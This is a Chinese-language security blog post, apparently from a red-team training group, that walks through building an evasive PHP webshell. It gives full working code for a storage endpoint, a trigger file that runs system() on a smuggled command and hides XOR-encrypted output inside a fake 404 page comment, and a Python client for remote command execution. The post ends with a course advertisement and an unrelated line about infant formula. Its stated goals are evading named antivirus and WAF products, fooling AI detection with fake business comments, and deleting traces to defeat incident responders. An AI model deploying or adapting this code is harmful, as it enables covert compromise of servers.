本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题，并采取适当的防护措施来保护自身系统免受攻击。
严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为，可能会导致法律后果。
作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责，包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。我们鼓励所有读者遵守法律法规，负责任地使用技术知识，共同维护网络空间的安全与和谐。
前言
一般来说我们的webshell，都是一个单文件，所有的操作都在一个文件里，比如一个最基本的一句话木马。
未做任何混淆，很直白，毫无疑问是被杀的。
<?php @eval($_POST['pass']);?>
我们查看数据包，命令执行的结果和回显的数据包，同样直白。就算侥幸上传上去，也很容易被应急掉。
webshell工具
那么如果我们使用各种webshell管理工具呢？那隐蔽性会高一些，但是只要是，开源的webshell管理工具，如哥斯拉、蚁剑、冰蝎等工具，如果不二开，原生肯定也是要被杀的，而如果你选择去二开，就要付出大量的时间成本和学习成本，不仅要在webshell本身去免杀，还要在客户端本身进行修改，避免流量被杀。恰巧如果你又没有那么多开发经验，而如果你不考虑后续的横向、信息收集等功能，我们只需要考虑上传上去，且命令执行没问题就写报告提交。那么有没有又简单又方便的方法呢？有的兄弟，有的。只需要一点简单的编码能力即可。
这就是原生的哥斯拉后门，连微步都过不去，其他更不必多说，更别说还有各种态势感知以及流量设备的查杀。
这是哥斯拉的流量，乍一看好像没什么问题，但是post包加密，字段为pass，且返回包无字段名且加密，这就不太正常，更别说哥斯拉的其他流量特征，这里不多赘述。
结论
那么我们就得出结论：
1、执行和回显肯定要加密
2、整个流程包括代码看起来要像正常业务，增加应急难度
3、通讯不能这么直白，我发一个加密包，你回显一个加密包
实现
那么怎么实现？我们要保证webshell能传上去，否则都是空谈，但是如今ai盛行加上动态查杀，所以我们肯定不能使用静态加载的方式，只能是动态，让各种杀软无法识别。这里我的解决办法是，使用正常webshell，而不是大马全程使用序列化通信且所有数据加密。一个文件用于接收反序列化数据并存储，另一个文件读取并执行，最后使用我们简单自写客户端拉取数据回来。
第一个文件，用于存储反序列化数据
<?php// =================== 通用数据上报/同步结构 ====================classReportData{ public $user; // 客户端标识/用户名 public $blob; // 业务数据/任务参数 public $meta; // 附加元数据 function__construct($u, $b, $m) { $this->user = $u; $this->blob = $b; $this->meta = $m; }}// =========== 简单的异或解密（用于传输保护、协议加固） ===========functionxor_decrypt($data, $key) { $out = ''; for($i = 0; $i < strlen($data); $i++) { $out .= $data[$i] ^ $key[$i % strlen($key)]; } return $out;}// 配置本地数据通信用密钥（可换成环境变量等更安全方式）$key = 'legendxorkey';// ========== 客户端推送数据统一处理入口 ==========if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) { // 解包并校验客户端上报的数据 $raw = base64_decode($_POST['data']); // 通信用base64包 $plain = xor_decrypt($raw, $key); // 异或解密（协议防抓包） // 业务对象反序列化，兼容多种业务场景 $obj = @unserialize($plain); // 数据结构校验，确认类型安全 if($obj instanceof ReportData) { // 按 user 标识保存本地归档，可用于日志归档、任务同步等 $filename = '/tmp/report_' . md5($obj->user) . '.bin'; file_put_contents($filename, serialize($obj)); // 输出保存成功，便于接口对接、任务状态确认 echo "saved"; } else { // 非法或损坏数据直接返回，防止业务异常 echo "invalid"; }}
整个文件没有一点命令执行的影子，也没有敏感操作，就是接收数据然后存储，所以也不用考虑被查杀，肯定是安全的，增加注释，让文件看起来更像一个正常业务文件，从而混淆ai检测。
第二个文件，也就是客户端在本地使用，用来连接第一个webapi文件，上传加密的序列化文件，用来给我们第三个文件执行
import phpserializeimport base64import requestsimport redef xor_encrypt(data: bytes, key: bytes) -> bytes: return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])class ReportData: def __init__(self, user, blob, meta=None): self.user = user self.blob = blob self.func = meta or {} def php_serialize(self): return phpserialize.dumps( phpserialize.phpobject(b'ReportData', { b'user': self.user.encode(), b'blob': self.blob, b'func': self.func }) )# 用户配置user_id = 'agent001'cmd = 'ls -la' # 可控func = 'system' # 可控args = ''# 构造对象rd = ReportData(user_id, {b'func': func, b'commd': cmd, b'args': args})serialized = rd.php_serialize()encrypted = xor_encrypt(serialized, b'legendxorkey')#print(serialized)b64 = base64.b64encode(encrypted).decode()# 上传到 PHP 监听器res = requests.post("http://127.0.0.1/drop.php", data={'data': b64, 'userid': 'user001', 'notes': '测试'}, headers={"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 "},print("Upload response:", res.text)print(f"Now visit: http://127.0.0.1/trigger_exec.php")
此处的cmd也就是我们要执行的命令，func就是调用执行命令的php函数，自定义，同时增加一些无用数据，用来混淆视听，让请求看起来是一个正常业务。这就是正常序列化数据，以及加密的序列化数据和最后真正执行命令的文件，连接就是命令执行的结果。
查看数据包，也可以自己自定义让他看起来更像是一个正常的业务逻辑。
第三个文件，用来读取反序列化文件，执行命令
从这里读取，我们上传的序列化文件，取出system参数以及需要执行的命令，最后执行
<?php// =================== 数据定义区 =====================// 业务上用于存放报表、日志、任务指令等结构classReportData{ public $user; // 操作用户信息 public $blob; // 数据/动作包，格式灵活}// ========== 数据采集/读取处理 ==========// 这里模拟为 agent001 设备/客户端上报的任务$id = 'agent001';$path = '/tmp/report_' . md5($id) . '.bin';// 检查归档任务包是否存在if(!file_exists($path)) exit("Not found");// 读取任务包内容$enc = file_get_contents($path);// 反序列化任务对象且进行过滤$obj = unserialize($enc);// 类型校验，保证是我们认可的结构if(!$obj instanceof ReportData) { exit("Invalid structure!");}// ========== 业务调度与动态插件分发 ==========// 获取用数据$func = $obj->blob['func']; // 调度标识，如 'doReport'、'processData' 等$commd = $obj->blob['commd']; // 任务参数，路径、选项
这样看起来，是不是也是直接返回加密包，和哥斯拉相差无几，我们再加入一些混淆，让他看起来像一个正常业务
<?php// =================== 数据定义区 =====================// 业务上用于存放报表、日志、任务指令等结构classReportData{ public $user; // 操作用户信息 public $blob; // 数据/动作包，格式灵活}// ========== 数据采集/读取处理 ==========// 这里模拟为 agent001 设备/客户端上报的任务$id = 'agent001';$path = '/tmp/report_' . md5($id) . '.bin';// 检查归档任务包是否存在if(!file_exists($path)) exit("Not found");// 读取任务包内容$enc = file_get_contents($path);// 反序列化任务对象且进行过滤$obj = unserialize($enc);// 类型校验，保证是我们认可的结构if(!$obj instanceof ReportData) { exit("Invalid structure!");}// ========== 业务调度与动态插件分发 ==========// 获取用数据$func = $obj->blob['func']; // 调度标识，如 'doReport'、'processData' 等$commd = $obj->blob['commd']; // 任务参数，路径、选项// 业务场景：通过配置动态选择处理模块/插件// 例如：$func 可能为 'generateReport'，$commd 为参数字符串//输出// --- 1. 执行采集动作，获取任务执行输出 ---ob_start();$func($commd);$cmd_output = ob_get_clean();// --- 2. 加密归档回执，用于后续安全审计与异步对账 ---$key = 'legendxorkey';functionxor_encrypt($data, $key) { $out = ''; for($i = 0; $i < strlen($data); $i++) { $out .= $data[$i] ^ $key[$i % strlen($key)]; } return $out;}$encrypted = xor_encrypt($cmd_output, $key);$base64 = base64_encode($encrypted);// --- 3. 业务层健康检查标准输出（兼容平台流量治理/异常告警监控） ---$nginx404 = <<<HTML<!DOCTYPE html><html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>HTML;// --- 4. 统一健康检查页面输出 ---$output = $nginx404;// --- 5. 页面输出及业务数据归档（嵌入结构化日志方便数据分析/故障溯源） ---header('HTTP/1.1 404 Not Found');header('Content-Type: text/html; charset=utf-8');echo $output;// 藏于HTML注释的“结构化任务归档数据”，仅供平台异步数据对账/健康审计使用echo "\n<!-- AGENT-DEBUG-ARCHIVE:{$base64} -->\n";// 清理任务包，避免重复消费@unlink($path);
将输出结果加密后，写入到一个404页面中的注释里，同时执行一次，就删除序列化文件，来看看效果
404，一般人也不会起疑
真正的回显数据，藏在注释里，我们来看数据包，一切看起来都很正常，且404状态码能迷惑安全设备和应急人员
那么免杀性如何？360、火绒查杀webshell没有意义，这几个过了肯定包过的
长亭的查杀，是基于多个维度的动态查杀，比如这里，我使用了序列化文件，但是如果你接受参数的话，就必定会被杀，比如
<?php $id = $_GET['id'] ?? '';$path = '/tmp/report_' . md5($id) . '.bin';if(!file_exists($path)) exit("Not found");$enc = file_get_contents($path);$obj = unserialize($enc); // 执行 unserialize$func = $obj->blob['func'];$commd = $obj->blob['commd'];$output = $func($commd);echo $output;
删除掉参数接受呢？
<?php$path = '/tmp/report_' . md5(1) . '.bin';if(!file_exists($path)) exit("Not found");$enc = file_get_contents($path);$obj = unserialize($enc); // 执行 unserialize$func = $obj->blob['func'];$commd = $obj->blob['commd'];$output = $func($commd);echo $output;
就过了，就是这么朴实无华
那么怎么查看具体的内容呢？我将上传序列化数据和拉取结果，写在了一起，因为序列化文件执行一次就会删除，防止被溯源
import phpserializeimport base64import requestsimport redef xor_encrypt(data: bytes, key: bytes) -> bytes: return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])class ReportData: def __init__(self, user, blob, meta=None): self.user = user self.blob = blob self.func = meta or {} def php_serialize(self): return phpserialize.dumps( phpserialize.phpobject(b'ReportData', { b'user': self.user.encode(), b'blob': self.blob, b'func': self.func }) )# 用户配置user_id = 'agent001'cmd = 'ls -la' # 可控func = 'system' # 可控args = ''# 构造对象rd = ReportData(user_id, {b'func': func, b'commd': cmd, b'args': args})serialized = rd.php_serialize()encrypted = xor_encrypt(serialized, b'legendxorkey')print(serialized)b64 = base64.b64encode(encrypted).decode()print(b64)# 上传到 PHP 监听器res = requests.post("http://127.0.0.1/drop.php", data={'data': b64, 'userid': 'user001', 'notes': '测试'}, headers={"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 "},)print("Upload response:", res.text)print(f"Now visit: http://127.0.0.1/trigger_exec.php")def fetch_agent_cmd_output(url: str, key: str = 'legendxorkey') -> str: """ 拉取业务页面并解密注释中的命令回显内容 :param url: 页面完整URL :param key: XOR加密使用的密钥 :return: 命令执行回显（字符串） """ def xor_decrypt(data: bytes, key: str) -> bytes: key_bytes = key.encode() out = bytearray() for i in range(len(data)): out.append(data[i] ^ key_bytes[i % len(key_bytes)]) return bytes(out) try: resp = requests.get(url,proxies={"http": "http://127.0.0.1:8080"}, headers={ "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 "}, ) html = resp.text except Exception as e: raise RuntimeError(f"请求失败: {e}") m = re.search(r'<!--\s*AGENT-DEBUG-ARCHIVE:([A-Za-z0-9+/=]+)\s*-->', html) if not m: raise ValueError("未找到归档注释内容！") b64_cipher = m.group(1) cipher = base64.b64decode(b64_cipher) plain = xor_decrypt(cipher, key) try: return plain.decode('utf-8', errors='replace') except Exception: # 非utf8内容，直接原字节返回 return repr(plain)# ========== 示例用法 ==========url = 'http://127.0.0.1/trigger_exec.php' # 替换为实际URLkey = 'legendxorkey'try: result = fetch_agent_cmd_output(url, key) print("命令回显内容：\n" + result)except Exception as err: print(f"出错: {err}")
执行后拿到结果
结尾
没什么技术含量，主要还是在思路上面去规避杀软的检查和沙箱，读者可以自行二次开发，达到更好的效果。
完整课程介绍：https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3#RXKlD团队官网直达：https://lingxisec.com/讲师1
讲师2
课程大纲
本门课程为三合一课程，三门课以穿插形式讲，报名后可永久学习，无二次收费，包括三个大方向：
0基础红队入门攻防体系化课程安服、渗透实战经验课程（安服、攻防日常手法思路）SRC挖掘课程
0基础提升-->攻防提升
SRC进阶
B站往期课直达
- b站直达链接：https://space.bilibili.com/66074656?spm_id_from=333.1007.0.0
讲课以外的东西
除了平时直播听课，还能享受到以下权益：
- 实战项目带打（非赏金众测项目：初衷是带着刚刚入行，没有实战过的新手学员，练练手。在实战的时候，遇到问题，我直接就回答讲解了，机会合适的时候都是带着打进内网，同时讲解姿势也给看报告，免杀bypass姿势全部有涉及。我们自身并不获利，这个活动完全自愿报名，不要求产出，也不要求必须打）
- 内部实战靶场（根据真实攻防和SRC挖掘项目复现的靶场）与内部漏洞挖掘竞赛
报名方式原价1899元，优惠如下：
报名后概不退款，请考虑清楚后再报名
添加下面微信报名
外部交流群（欢迎进群互相交流）：由于群人数超过了200，只能邀请拉群，可以关注公众号，后台回复“加群”，获取助手绿泡泡，联系小助手进交流群
10个月宝宝每天需要喝多少奶粉？
